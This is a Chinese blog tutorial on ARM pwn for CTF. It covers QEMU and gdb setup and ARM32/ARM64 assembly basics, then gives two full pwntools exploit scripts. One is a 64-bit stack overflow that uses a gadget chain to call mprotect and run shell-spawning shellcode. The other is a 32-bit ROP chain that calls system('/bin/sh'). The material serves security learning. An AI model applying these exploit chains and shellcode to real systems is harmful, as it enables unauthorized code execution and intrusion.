arm b bl 地址无关码_32位和64位下的arm

arm b bl 地址无关码_32位和64位下的arm_pwn初探

32位和64位下的arm_pwn初探

前言：

pwn的学习之路一直在进行，今天看了arm_pwn，搞环境就搞了半天，琢磨工具使用到做题，这里总结下，希望能帮助到大家，少走一点弯路，后期有机会继续更新。

一、环境配置：

环境是一大玄学问题，这里仅仅是我Ubuntu16.04下的环境配置，亲测有效，但是遇到玄学的问题时，也请留言，努力帮大家解决。

#安装qemuapt-get install qemu#更新一下sudo apt-get update#安装32位的依赖库sudo apt-get install -y gcc-arm-linux-gnueabi#运行32位的动态链接程序方法qemu-arm -L /usr/arm-linux-gnueabi ./文件#安装64位的依赖库sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu#运行64位的动态链接程序方法qemu-aarch64 -L /usr/aarch64-linux-gnu ./文件#安装gdb调试工具sudo apt-get install git gdb gdb-multiarch#32位程序下断调试步骤qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./文件(窗口1)gdb-multiarch ./文件(窗口2)pwndbg> target remote :1234pwndbg> b *0x8bb0#64位程序下断调试步骤qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./文件(窗口1)gdb-multiarch ./文件(窗口2)pwndbg> target remote :1234pwndbg> b *0x8bb0

二、arm汇编基础：

环境起来了，就可以像平时一样分析漏洞打题了，但是还是有不同的地方：

1、arm32只有16个32bit的通用寄存器，r0到r12，lr，pc，sp，函数调用时，前4个参数是压入寄存器的(r0、r1、r2、r3)，后面的参数是压入栈中的

2、arm64有32个64bit长度的通用寄存器x0到x30以及sp，函数调用时，前8个参数都是通过寄存器来传递x0到x7

3、用一张图熟悉常见的arm汇编指令

4、举几个常见的汇编代码：

ldr r0,[r1, #4]     //将内存单元R1+4中的字读取到R0寄存器中，同时R1=R1+4add r1,r2,#1    //表示r1=r2+1， 即寄存器r1的值等于寄存器r2的值加上1b、bl          //相当于callBIC    R1,  R1,   #0x0F     //将R1   低4位清0mov r1,#4096      //r1 = 4096msr cpsr，r0       //复制r0到cpsr中str r1,[r2,#4]  //将r1的数据保存到地址为r2+4的内存单元中sub r1,r2,#1    //表示r1=r2-1

5、lr、sp、pc三大寄存器

堆栈指针r13(SP)：每一种异常模式都有其自己独立的r13，它通常指向异常模式所专用的堆栈，也就是说五种异常模式、非异常模式(用户模式和系统模式)，都有各自独立的堆栈，用不同的堆栈指针来索引。这样当ARM进入异常模式的时候，程序就可以把一般通用寄存器压入堆栈，返回时再出栈，保证了各种模式下程序的状态的完整性。

连接寄存器r14(LR)：每种模式下r14都有自身版组，它有两个特殊功能。

(1)保存子程序返回地址。使用BL或BLX时，跳转指令自动把返回地址放入r14中；子程序通过把r14复制到PC来实现返回，通常用下列指令之一： MOV PC, LR BX LR

通常子程序这样写，保证了子程序中还可以调用子程序。 stmfd sp!, {lr} …… ldmfd sp!, {pc}

(2)当异常发生时，异常模式的r14用来保存异常返回地址，将r14如栈可以处理嵌套中断。

程序计数器r15(PC)：PC是有读写限制的。当没有超过读取限制的时候，读取的值是指令的地址加上8个字节，由于ARM指令总是以字对齐的，故bit[1:0]总是00。当用str或stm存储PC的时候，偏移量有可能是8或12等其它值。在V3及以下版本中，写入bit[1:0]的值将被忽略，而在V4及以上版本写入r15的bit[1:0]必须为00，否则后果不可预测。

如果通俗地理解就是lr=rax，sp=rsp，pc=rip

相对的，x30是存放ret地址

三、做题实战

1、64位下的arm程序

可以看到程序除了NX，什么也没有开，ida分析下逻辑：

先读0x200字节到bss段中，然后再栈溢出，漏洞点相当简单，既然有读到栈上我们就直接填shellcode然后改写下bss权限为7即可，但是这是在arm的环境下，所以实现起来，相对困难一点点

首先ida直接分析栈偏移是不行的，我们可以通过cyclic去计算出偏移(动态调试一下即可)，可以算出偏移为72，

接着我们要栈溢出执行mprotect，这里三个参数都要满足比较辛苦，但是我们可以通过中级栈溢出的方式去得到：

text:00000000004008AC loc_4008AC                              ; CODE XREF: sub_400868+60↓j.text:00000000004008AC                 LDR             X3, [X21,X19,LSL#3] // x3=[x21+x19*8].text:00000000004008B0                 MOV             X2, X22 //x2=x22.text:00000000004008B4                 MOV             X1, X23 //x1=x23.text:00000000004008B8                 MOV             W0, W24 // w0=w24(低位).text:00000000004008BC                 ADD             X19, X19, #1 // x19=x19+1.text:00000000004008C0                 BLR             X3      // call x3.text:00000000004008C4                 CMP             X19, X20 ; .text:00000000004008C8                 B.NE            loc_4008AC // jmp if not equal.text:00000000004008CC.text:00000000004008CC loc_4008CC                              ; CODE XREF: sub_400868+3C↑j.text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10] ;                                                        //x19=sp+0x10，x20=[sp+0x18].text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]                                                        //x21=sp+0x20，x22=[sp+0x28].text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]                                                        //x23=sp+0x30，x24=[sp+0x38].text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40 ; Load Pair                                                       //x29=[sp], x30=[sp+8].text:00000000004008DC                 RET             //ret [x30]

根据前面学的arm的汇编基础，我们很容易将代码读懂，这里我做了注释，方便看清楚。

好了知道意思后，利用就和elf文件一样，我们控制好参数，写个集成函数即可，这里有个坑点，就是填got表是无法实现调用的，因为arm不太一样，这里我们需要伪造一个mprotect_plt的got表，实现调用，可以将mprotect_plt写到bss上就搞定了，执行完我们再ret我们的shellcode的位置既可，下面上exp：

from pwn import *bin_elf = './64arm'context.binary = bin_elfcontext.log_level = "debug"if sys.argv[1] == "r":    p = remote("106.75.126.171",33865)elif sys.argv[1] == "l":    p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/",bin_elf])else:    p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", bin_elf])elf = ELF(bin_elf)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()def debug(addr,PIE=True):    if PIE:        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))    else:        gdb.attach(p,"b *{}".format(hex(addr)))def bk(addr):    gdb.attach(p,"b *"+str(hex(addr)))gadget1 = 0x00004008CCgadget2 = 0x00004008ACbss = 0x0000411068mprotect = 0x000400600ru("Name:")shellcode = asm(shellcraft.aarch64.sh())py = ''py += p64(mprotect)py += shellcodesl(py)def middle_stackoverlow(offset,x0,x1,x2,function_addr,ret_addr):    py = ''    py += 'a'*offset    py += p64(gadget1)    py += p64(0)    py += p64(gadget2)    py += p64(0)    py += p64(1)    py += p64(function_addr)    py += p64(x2)#x22=x2    py += p64(x1)#x23=x1    py += p64(x0)#24=x0    py += p64(0)    py += p64(ret_addr)    sl(py)middle_stackoverlow(72,0x411000,0x1000,0x7,bss,bss+8)p.interactive()

2、32位下的arm程序

一样保护几乎没开，ida分析一波：

ida静态分析，可能不是很好看，所以进行黑盒测试，直接运行看：

可以知道先换行，然后再输入内容，会回显那个英文，还是个循环，没了。

所以关键就是第二次输入，没开canary，猜想是栈溢出的题目，直接cyclic动态调试可以计算偏移：112

同时程序有system和binsh的后门，根据rop，我们pop参数到r0即可实现调用：

from pwn import *bin_elf = './arm'context.binary = bin_elfcontext.log_level = "debug"if sys.argv[1] == "r":    p = remote("106.75.126.171",33865)elif sys.argv[1] == "l":    p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi",bin_elf])else:    p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", bin_elf])elf = ELF(bin_elf)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()def debug(addr,PIE=True):    if PIE:        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))    else:        gdb.attach(p,"b *{}".format(hex(addr)))def bk(addr):    gdb.attach(p,"b *"+str(hex(addr)))pop_r0_r4_ret = 0x00020904binsh = 0x006C384system_plt = 0x00110B4ru("if you want to quit")sl("")py = ''py += 'a'*112py += p32(pop_r0_r4_ret)py += p32(binsh)py += p32(0)py += p32(system_plt)ru("------Begin------")sl(py)p.interactive()